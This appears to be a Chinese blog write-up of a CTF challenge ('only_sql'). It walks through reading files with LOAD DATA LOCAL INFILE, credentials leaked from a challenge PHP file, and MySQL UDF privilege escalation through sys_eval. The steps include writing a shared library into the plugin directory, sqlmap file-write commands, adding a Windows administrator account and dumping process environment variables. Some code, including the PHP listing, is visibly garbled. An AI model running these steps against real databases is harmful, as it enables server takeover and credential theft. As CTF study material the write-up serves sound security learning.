第七届西湖论剑复现—only_sql-WP

第七届西湖论剑复现—only_sql

By-south整理

参考:

https://mp.weixin.qq.com/s/-3yim0oUpSoyp8jP_2dnwA

linux环境下的MySQL UDF提权 - 知乎 (zhihu.com)

第三方组件提权-Mysql UDF提权_udf提权和mysql版本有什么关系-CSDN博客

环境的搭建:

访问我的题目环境:
image-20240202143718334

题目的要求就是先让我们连接一个数据库,这个数据库可以是任意的数据库,只要我们能够知道数据库的地址,用户名,密码,要连接的数据库名就可以,由于我们本身不知道,题目的数据库地址以及其他信息,所以我们现在只能连接自己已知道的数据库,比如我们的本地数据库,连接成功以后就可以对我们的数据库进行一切的操作(数据库支持的操作合法语句),即为我们提供了一个mysql的服务端,但由于本人比较菜,所以只写了一个简易的操作端口,用一个表单传递我们的数据库操作语句,在连接时直接进行操作。

image-20240202143602563

我在我的本地数据库中创建了一张test表用于对环境的测试,现在我使用我的数据库信息,以及sql语句进行对环境的测试。

环境测试:

image-20240202144824585

sql语句:

1
INSERT INTO test (text_field) VALUES ('flag{666}');

image-20240202145356151

image-20240202145106390

image-20240202145130651

成功进行执行!!!

环境的基本运行逻辑就是这样,但是由于一些本地权限的配置,所以一些业务操作的数据库语句无法通过网络直接进行执行,所以我们只能在本地的mysql服务端中进行测试。

远程读客户端文件:

1
load data local infile "/var/www/html/query.php" into table test

使用题目环境成功连接我们的数据库服务端之后,我们可以使用load data,数据库操作语句读取题目网页的文件信息,即可以利用该操作,读取题目的query.php文件,该文件存在于/var/www/html/文件夹下。

本地测试:

创建一个文件在我们的apache服务端下:
flag.txt:

1
flag{you_are_win!!!}

image-20240202151238614

现在使用mysql的文件下载操作,读取我们的flag.txt:

文件数据下载:

1
load data local infile "/var/www/html/flag.txt" into table test

image-20240202151636383

成功将flag.txt文件下载到我们的test表的text_field字段中!!!

所以我们可以使用题目的mysql服务端下载题目网页中的文件:

1
load data local infile "/var/www/html/query.php" into table test;

query.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';
$$db_host = $$_POST["db_host"];
$$db_username = $$_POST["db_username"];
$$db_password = $$_POST["db_password"];
$$db_name = $$_POST["db_name"];
if(isset(
$db_host)){
try {
$
dsn = "mysql:host=
$db_host;dbname=$
db_name";

$pdo = new PDO($
dsn,
$db_username, $
db_password);

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$
_SESSION['dsn']=
$dsn;
$
_SESSION['db_username']=
$db_username;
$
_SESSION['db_password']=
$db_password;
} catch (Exception $
e) {
die($e->getMessage());
}
}
if(!isset($_SESSION['dsn'])){
die("<script>alert('请先连接数据库);window.location.href='index.php'</script>");
}
?>

通过代码审计我们得到了出题人提供的数据库信息:

1
2
3
4
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';

所以我们可以使用该数据库信息去连接,从而去获取出题人的网页中的数据库信息以及文件信息。

plugin udf 提权

利用前提:

1
2
3
4
5
mysql < 5.0,导出路径随意
5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
mysql >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限

使用udf提权的一些操作:

查看靶机的mysql版本信息

(这里用本地的mysql代替):

1
2
mysql >
SELECT VERSION();

image-20240202154824045

数据库版本为10.11.5,因为MySQL >= 5.1已经是环境最苛刻的了,所以无法再进行本地测试了。

查询可写目录:

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下表示可以向任意绝对路径写文件

1
2
mysql >
show global variables like '%secure_file_priv%';

寻找插件目录:

mysql数据库版本 >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数,接下来去找dll文件

使用如下的 SQL 语句来查询MySQL的插件目录:
1
2
mysql >
show variables like '%plugin%';

img

1
2
3
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹

有一个问题需要注意:利用phpstudy安装的mysql,默认是不存在 \lib\plugin 这个文件夹的,如果目标安装的是完整版mysql数据库,是存在的,如果没有这个文件夹后边的操作就无法继续了

创建文件夹:

网上有个说法,利用NTFS ADS流模式突破进而创建文件夹

使用语句查找MySQL安装目录:
1
2
mysql >
select @@basedir;

image-20240202161019150

1
2
3
4
5
6
7
8
9
mysql >
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'mysql安装目录\\lib::$INDEX_ALLOCATION';


select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

select 'It is dll' into dumpfile 'mysql安装目录\\lib\\plugin::$INDEX_ALLOCATION';

如果真的没有\lib\plugin还是可以尝试,但是不一定成功。

写入动态链接库文件:

第一种情况:
1
1.如果拿到了网站的webshell,可以直接通过webshell管理工具比如蚁剑等,直接找到目录上传dll文件
第二种情况:
1
2.存在 SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制(HTTP本身并未对请求长度施加任何硬编码的限制,但浏览器的限制范围为2kb-8kb)所以往往 POST 注入才可以执行这种攻击
payload:
1
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll" --file-dest="c:\\ZkeysSoft\\MySql\\MySQL Server 5.1\\lib\\plugin\\udf.dll"
第三种情况:
1
如果没有注入的话,但是通过爆破密码、phpmyadmin漏洞以及通过webshell等手段,可以执行sql语句,也是可以可以操作原生 SQL 语句手工写文件到 plugin 目录下的
payload:
1
2
3
4
5
6
mysql >
# 直接 SELECT 查询十六进制写入
SELECT 0xcode INTO DUMPFILE 'c:\\ZkeysSoft\\MySql\\MySQL Server 5.1\\lib\\plugin\\udf.dll';

# 解码十六进制再写入多此一举
SELECT unhex('0xcode') INTO DUMPFILE 'c:\\ZkeysSoft\\MySql\\MySQL Server 5.1\\lib\\plugin\\udf.dll';

关于十六进制可以直接这这个页面查询到对应的编码:https://www.sqlsec.com/tools/udf.html

一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:

1
2
3
4
5
6
7
8
mysql >
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';

SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';

0x2f6c69625f6d7973716c7564665f7379735f36342e736f
=>
/lib_mysqludf_sys_64.so

将lib_mysqludf_sys_64.so文件中的内容进行16进制加密之后存入/tmp/udf.txt文件中

上传库文件到被攻击的数据库plugin目录下,文件名可以任意取:

1
2
3
4
select unhex('7F454C46020...') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so';

假设/tmp/udf.txt文件中的16进制内容为xxx,则就是将xxx16进制解码后放入plugin目录下的mysqludf.so,如果plugin文件夹下不存在mysqludf.so文件,则会自动生成
select unhex('xxx') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so';

创建自定义函数并调用命令:

1
2
mysql > 
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:

1
2
mysql> 
select * from mysql.func;

正确的回显:

image-20240202164845159

如果不成功的话,是因为dll版本不符。

通过创建的这个函数来执行系统命令了:

1
2
mysql > 
select sys_eval('whoami');

如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的:

1
2
3
SELECT sys_eval(
'net user ocean1 ocean1 /add & net localgroup administrators ocean1 /add'
)

上传udf库文件:

获取plugin路径:

1
2
mysql> 
show variables like "%plugin%";

image-20240202173358044

获取服务器版本信息:

1
2
mysql> 
show variables like 'version_compile_%';

image-20240202181215556

准备udf库文件(动态链接库文件):

常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件,可以直接找

sqlmap 的 UDF 动态链接库文件位置:
1
2
3
4
5
sqlmap中有现成的udf文件。分别是32位和64位的。这里选择
sqlmap根目录/data/udf/mysql
sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_。

# kali的sqlmap在/usr/share/sqlmap目录

有32位和64位之分,这个dll并不是跟系统位数有关的,而是跟mysql版本有关系

要注意的是Sqlmap中自带的动态链接库文件为了防止被误杀都经过编码处理过,不能被直接使用,需要使用 sqlmap 自带的解码工具cloak.py 来解码使用:

1
2
3
4
5
# 脚本位置
/usr/share/sqlmap/extra/cloak/
# 执行
python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
# 进行dll_文件的解码,获得dll文件

此时会在相同目录生成解密后的lib_mysqludf_sys.so。

Metasploit 的 UDF 动态链接库文件位置:

1
2
3
4
5
6
usr/share/metasploit-framework/data/exploits/mysql
# kali自带的msf

在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。

这个库和sqlmap解密后的一模一样。

获取库文件的16进制:

1
select hex(load_file('/security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';

创建函数:

先在本地查看有哪些函数可用:

1
nm -D lib_mysqludf_sys.so

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
                 w _Jv_RegisterClasses
0000000000201788 A __bss_start
w __cxa_finalize
w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
U fgets
U fork
U free
U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
U malloc
U mmap
U pclose
U popen
U realloc
U setenv
U strcpy
U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
U sysconf
U system
U waitpid

创建sys_eval函数:

1
create function sys_eval returns string soname "mysqludf.so";

删除自定义函数:

1
2
mysql > 
drop function sys_eval;

总结:

1
2
常规SQLMAP的--OS-SHELL流程大致为:利用SELECT … INTO OUTFILE … LINES TERMINATED BY上传小马(仅上传功能) -> 利用小马上传Webshell(可使用system、proc_open、shell_exec、passthru、popen、exec执行命令) -> 利用Webshell执行命令(明文参数cmd=whoami)
现在大多数Mysql版本都大于5.1,版本大于5.1后对于提权的条件很苛刻,所以大多数情况下都没办法使用udf进行一个提权

only_sql题目复现:

第一步:使用如下的 SQL 语句来查询MySQL的插件目录:

1
2
mysql>
show variables like '%plugin%';

plugin 目录被改了:

1
/var/lib/mysql/p1ugin

第二步:写入动态链接库文件:

1
2
select unhex('xxx') into dumpfile '/usr/lib/mysql/p1ugin/hacker.so';
//xxx为上述中/tmp/udf.txt文件夹下的16进制加密内容,这里取名上传的配置文件为hacker.so

第三步:创建一个可以进行命令执行的函数:

1
2
//使用上传的hacker.so创建一个命令执行函数
create function sys_eval returns string soname 'hacker.so';

第四步:RCE:

1
2
mysql>
select sys_eval('cat /proc/self/environ';)

获取flag


第七届西湖论剑复现—only_sql-WP
http://example.com/2024/02/03/2024-2-3-only_sql/
作者
South
发布于
2024年2月3日
许可协议